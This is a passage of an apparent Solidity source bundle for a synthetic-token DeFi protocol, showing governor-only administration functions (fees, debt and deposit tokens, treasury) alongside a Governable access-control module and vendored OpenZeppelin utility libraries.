-= _feeAmount;\n }\n\n syntheticTokenOut_.mint(msg.sender, _amountOut);\n\n emit SyntheticTokenSwapped(\n msg.sender,\n syntheticTokenIn_,\n syntheticTokenOut_,\n amountIn_,\n _amountOut,\n _feeAmount\n );\n }\n\n /**\n * @notice Add debt token to offerings\n * @dev Must keep `debtTokenOf` mapping updated\n */\n function addDebtToken(IDebtToken debtToken_) external override onlyGovernor {\n require(address(debtToken_) != address(0), \"address-is-null\");\n ISyntheticToken _syntheticToken = debtToken_.syntheticToken();\n require(address(_syntheticToken) != address(0), \"synthetic-is-null\");\n require(address(debtTokenOf[_syntheticToken]) == address(0), \"synth-in-use\");\n\n require(debtTokens.add(address(debtToken_)), \"debt-exists\");\n\n debtTokenOf[_syntheticToken] = debtToken_;\n\n emit DebtTokenAdded(debtToken_);\n }\n\n /**\n * @notice Add deposit token (i.e. collateral) to Synth\n */\n function addDepositToken(address depositToken_) external override onlyGovernor {\n require(depositToken_ != address(0), \"address-is-null\");\n IERC20 _underlying = IDepositToken(depositToken_).underlying();\n require(address(depositTokenOf[_underlying]) == address(0), \"underlying-in-use\");\n\n require(depositTokens.add(depositToken_), \"deposit-token-exists\");\n\n depositTokenOf[_underlying] = IDepositToken(depositToken_);\n\n emit DepositTokenAdded(depositToken_);\n }\n\n /**\n * @notice Add a RewardsDistributor contract\n */\n function addRewardsDistributor(IRewardsDistributor distributor_) external override onlyGovernor {\n require(address(distributor_) != address(0), \"address-is-null\");\n\n uint256 _length = rewardsDistributors.length;\n for (uint256 i; i < _length; ++i) {\n require(distributor_ != rewardsDistributors[i], \"contract-already-added\");\n }\n\n rewardsDistributors.push(distributor_);\n emit RewardsDistributorAdded(distributor_);\n }\n\n /**\n * @notice Remove debt token from offerings\n * @dev Must keep `debtTokenOf` mapping updated\n */\n function removeDebtToken(IDebtToken debtToken_) external override onlyGovernor {\n require(debtToken_.totalSupply() == 0, \"supply-gt-0\");\n require(debtTokens.remove(address(debtToken_)), \"debt-doesnt-exist\");\n\n delete debtTokenOf[debtToken_.syntheticToken()];\n\n emit DebtTokenRemoved(debtToken_);\n }\n\n /**\n * @notice Remove deposit token (i.e. collateral) from Synth\n */\n function removeDepositToken(IDepositToken depositToken_) external override onlyGovernor {\n require(depositToken_.totalSupply() == 0, \"supply-gt-0\");\n\n require(depositTokens.remove(address(depositToken_)), \"deposit-token-doesnt-exist\");\n delete depositTokenOf[depositToken_.underlying()];\n\n emit DepositTokenRemoved(depositToken_);\n }\n\n /**\n * @notice Remove a RewardsDistributor contract\n */\n function removeRewardsDistributor(IRewardsDistributor distributor_) external override onlyGovernor {\n require(address(distributor_) != address(0), \"address-is-null\");\n\n uint256 _length = rewardsDistributors.length;\n uint256 _index = _length;\n for (uint256 i; i < _length; ++i) {\n if (rewardsDistributors[i] == distributor_) {\n _index = i;\n break;\n }\n }\n require(_index < _length, \"distribuitor-doesnt-exist\");\n if (_index != _length - 1) {\n rewardsDistributors[_index] = rewardsDistributors[_length - 1];\n }\n rewardsDistributors.pop();\n\n emit RewardsDistributorRemoved(distributor_);\n }\n\n /**\n * @notice Turn swap on/off\n */\n function toggleIsSwapActive() external override onlyGovernor {\n bool _newIsSwapActive = !isSwapActive;\n emit SwapActiveUpdated(_newIsSwapActive);\n isSwapActive = _newIsSwapActive;\n }\n\n /**\n * @notice Update debt floor\n */\n function updateDebtFloor(uint256 newDebtFloorInUsd_) external override onlyGovernor {\n uint256 _currentDebtFloorInUsd = debtFloorInUsd;\n require(newDebtFloorInUsd_ != _currentDebtFloorInUsd, \"new-same-as-current\");\n emit DebtFloorUpdated(_currentDebtFloorInUsd, newDebtFloorInUsd_);\n debtFloorInUsd = newDebtFloorInUsd_;\n }\n\n /**\n * @notice Update deposit fee\n */\n function updateDepositFee(uint256 newDepositFee_) external override onlyGovernor {\n require(newDepositFee_ <= 1e18, \"max-is-100%\");\n uint256 _currentDepositFee = depositFee;\n require(newDepositFee_ != _currentDepositFee, \"new-same-as-current\");\n emit DepositFeeUpdated(_currentDepositFee, newDepositFee_);\n depositFee = newDepositFee_;\n }\n\n /**\n * @notice Update issue fee\n */\n function updateIssueFee(uint256 newIssueFee_) external override onlyGovernor {\n require(newIssueFee_ <= 1e18, \"max-is-100%\");\n uint256 _currentIssueFee = issueFee;\n require(newIssueFee_ != _currentIssueFee, \"new-same-as-current\");\n emit IssueFeeUpdated(_currentIssueFee, newIssueFee_);\n issueFee = newIssueFee_;\n }\n\n /**\n * @notice Update liquidator liquidation fee\n */\n function updateLiquidatorLiquidationFee(uint128 newLiquidatorLiquidationFee_) external override onlyGovernor {\n require(newLiquidatorLiquidationFee_ <= 1e18, \"max-is-100%\");\n uint256 _currentLiquidatorLiquidationFee = liquidationFees.liquidatorFee;\n require(newLiquidatorLiquidationFee_ != _currentLiquidatorLiquidationFee, \"new-same-as-current\");\n emit LiquidatorLiquidationFeeUpdated(_currentLiquidatorLiquidationFee, newLiquidatorLiquidationFee_);\n liquidationFees.liquidatorFee = newLiquidatorLiquidationFee_;\n }\n\n /**\n * @notice Update maxLiquidable (liquidation cap)\n */\n function updateMaxLiquidable(uint256 newMaxLiquidable_) external override onlyGovernor {\n require(newMaxLiquidable_ <= 1e18, \"max-is-100%\");\n uint256 _currentMaxLiquidable = maxLiquidable;\n require(newMaxLiquidable_ != _currentMaxLiquidable, \"new-same-as-current\");\n emit MaxLiquidableUpdated(_currentMaxLiquidable, newMaxLiquidable_);\n maxLiquidable = newMaxLiquidable_;\n }\n\n /**\n * @notice Update protocol liquidation fee\n */\n function updateProtocolLiquidationFee(uint128 newProtocolLiquidationFee_) external override onlyGovernor {\n require(newProtocolLiquidationFee_ <= 1e18, \"max-is-100%\");\n uint256 _currentProtocolLiquidationFee = liquidationFees.protocolFee;\n require(newProtocolLiquidationFee_ != _currentProtocolLiquidationFee, \"new-same-as-current\");\n emit ProtocolLiquidationFeeUpdated(_currentProtocolLiquidationFee, newProtocolLiquidationFee_);\n liquidationFees.protocolFee = newProtocolLiquidationFee_;\n }\n\n /**\n * @notice Update repay fee\n */\n function updateRepayFee(uint256 newRepayFee_) external override onlyGovernor {\n require(newRepayFee_ <= 1e18, \"max-is-100%\");\n uint256 _currentRepayFee = repayFee;\n require(newRepayFee_ != _currentRepayFee, \"new-same-as-current\");\n emit RepayFeeUpdated(_currentRepayFee, newRepayFee_);\n repayFee = newRepayFee_;\n }\n\n /**\n * @notice Update treasury contract - will migrate funds to the new contract\n */\n function updateTreasury(ITreasury newTreasury_) external override onlyGovernor {\n require(address(newTreasury_) != address(0), \"address-is-null\");\n ITreasury _currentTreasury = treasury;\n require(newTreasury_ != _currentTreasury, \"new-same-as-current\");\n\n if (address(_currentTreasury) != address(0)) {\n _currentTreasury.migrateTo(address(newTreasury_));\n }\n\n emit TreasuryUpdated(_currentTreasury, newTreasury_);\n treasury = newTreasury_;\n }\n\n /**\n * @notice Update swap fee\n */\n function updateSwapFee(uint256 newSwapFee_) external override onlyGovernor {\n require(newSwapFee_ <= 1e18, \"max-is-100%\");\n uint256 _currentSwapFee = swapFee;\n require(newSwapFee_ != _currentSwapFee, \"new-same-as-current\");\n emit SwapFeeUpdated(_currentSwapFee, newSwapFee_);\n swapFee = newSwapFee_;\n }\n\n /**\n * @notice Update withdraw fee\n */\n function updateWithdrawFee(uint256 newWithdrawFee_) external override onlyGovernor {\n require(newWithdrawFee_ <= 1e18, \"max-is-100%\");\n uint256 _currentWithdrawFee = withdrawFee;\n require(newWithdrawFee_ != _currentWithdrawFee, \"new-same-as-current\");\n emit WithdrawFeeUpdated(_currentWithdrawFee, newWithdrawFee_);\n withdrawFee = newWithdrawFee_;\n }\n}\n"
|
31 |
+
},
|
32 |
+
"contracts/access/Governable.sol": {
|
33 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"../dependencies/openzeppelin/proxy/utils/Initializable.sol\";\nimport \"../utils/TokenHolder.sol\";\nimport \"../interfaces/IGovernable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (governor) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the governor account will be the one that deploys the contract. This\n * can later be changed with {transferGovernorship}.\n *\n */\nabstract contract Governable is IGovernable, TokenHolder, Initializable {\n address public governor;\n address public proposedGovernor;\n\n event UpdatedGovernor(address indexed previousGovernor, address indexed proposedGovernor);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial governor.\n */\n constructor() {\n governor = msg.sender;\n emit UpdatedGovernor(address(0), msg.sender);\n }\n\n /**\n * @dev If inheriting child is using proxy then child contract can use\n * __Governable_init() function to initialization this contract\n */\n // solhint-disable-next-line func-name-mixedcase\n function __Governable_init() internal initializer {\n governor = msg.sender;\n emit UpdatedGovernor(address(0), msg.sender);\n }\n\n /**\n * @dev Throws if called by any account other than the governor.\n */\n modifier onlyGovernor() {\n require(governor == msg.sender, \"not-governor\");\n _;\n }\n\n function _requireCanSweep() internal view override onlyGovernor {}\n\n /**\n * @dev Transfers governorship of the contract to a new account (`proposedGovernor`).\n * Can only be called by the current owner.\n */\n function transferGovernorship(address proposedGovernor_) external onlyGovernor {\n require(proposedGovernor_ != address(0), \"proposed-governor-is-zero\");\n proposedGovernor = proposedGovernor_;\n }\n\n /**\n * @dev Allows new governor to accept governorship of the contract.\n */\n function acceptGovernorship() external {\n address _proposedGovernor = proposedGovernor;\n require(_proposedGovernor == msg.sender, \"not-the-proposed-governor\");\n emit UpdatedGovernor(governor, _proposedGovernor);\n governor = _proposedGovernor;\n proposedGovernor = address(0);\n }\n}\n"
|
34 |
+
},
|
35 |
+
"contracts/dependencies/openzeppelin/proxy/utils/Initializable.sol": {
|
36 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n */\n bool private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Modifier to protect an initializer function from being invoked twice.\n */\n modifier initializer() {\n require(_initializing || !_initialized, \"Initializable: contract is already initialized\");\n\n bool isTopLevelCall = !_initializing;\n if (isTopLevelCall) {\n _initializing = true;\n _initialized = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n }\n }\n}\n"
|
37 |
+
},
|
38 |
+
"contracts/dependencies/openzeppelin/security/ReentrancyGuard.sol": {
|
39 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuard is Initializable {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal initializer {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and make it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n // On the first call to nonReentrant, _notEntered will be true\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n\n _;\n\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n}\n"
|
40 |
+
},
|
41 |
+
"contracts/dependencies/openzeppelin/token/ERC20/IERC20.sol": {
|
42 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
|
43 |
+
},
|
44 |
+
"contracts/dependencies/openzeppelin/token/ERC20/extensions/IERC20Metadata.sol": {
|
45 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
|
46 |
+
},
|
47 |
+
"contracts/dependencies/openzeppelin/token/ERC20/utils/SafeERC20.sol": {
|
48 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n"
|
49 |
+
},
|
50 |
+
"contracts/dependencies/openzeppelin/utils/Address.sol": {
|
51 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
|
52 |
+
},
|
53 |
+
"contracts/dependencies/openzeppelin/utils/structs/EnumerableSet.sol": {
|
54 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for managing\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\n * types.\n *\n * Sets have the following properties:\n *\n * - Elements are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```\n * contract Example {\n * // Add the library methods\n * using EnumerableSet for EnumerableSet.AddressSet;\n *\n * // Declare a set state variable\n * EnumerableSet.AddressSet private mySet;\n * }\n * ```\n *\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\n * and `uint256` (`UintSet`) are supported.\n */\nlibrary EnumerableSet {\n // To implement this library for multiple types with as little code\n // repetition as possible, we write it in terms of a generic Set type with\n // bytes32 values.\n // The Set implementation uses private functions, and user-facing\n // implementations (such as AddressSet) are just wrappers around the\n // underlying Set.\n // This means that we can only create new EnumerableSets for types that fit\n // in bytes32.\n\n struct Set {\n // Storage of set values\n bytes32[] _values;\n // Position of the value in the `values` array, plus 1 because index 0\n // means a value is not in the set.\n mapping(bytes32 => uint256) _indexes;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n // The value is stored at length-1, but we add 1 to all indexes\n // and use 0 as a sentinel value\n set._indexes[value] = set._values.length;\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n // We read and store the value's index to prevent multiple reads from the same storage slot\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) {\n // Equivalent to contains(set, value)\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n // the array, and then remove the last element (sometimes called as 'swap and pop').\n // This modifies the order of the array, as noted in {at}.\n\n uint256 toDeleteIndex = valueIndex - 1;\n uint256 lastIndex = set._values.length - 1;\n\n if (lastIndex != toDeleteIndex) {\n bytes32 lastvalue = set._values[lastIndex];\n\n // Move the last value to the index where the value to delete is\n set._values[toDeleteIndex] = lastvalue;\n // Update the index for the moved value\n set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex\n }\n\n // Delete the slot where the moved value was stored\n set._values.pop();\n\n // Delete the index for the deleted slot\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function _contains(Set storage set, bytes32 value) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function _at(Set storage set, uint256 index) private view returns (bytes32) {\n return set._values[index];\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function _values(Set storage set) private view returns (bytes32[] memory) {\n return set._values;\n }\n\n // Bytes32Set\n\n struct Bytes32Set {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {\n return _values(set._inner);\n }\n\n // AddressSet\n\n struct AddressSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the 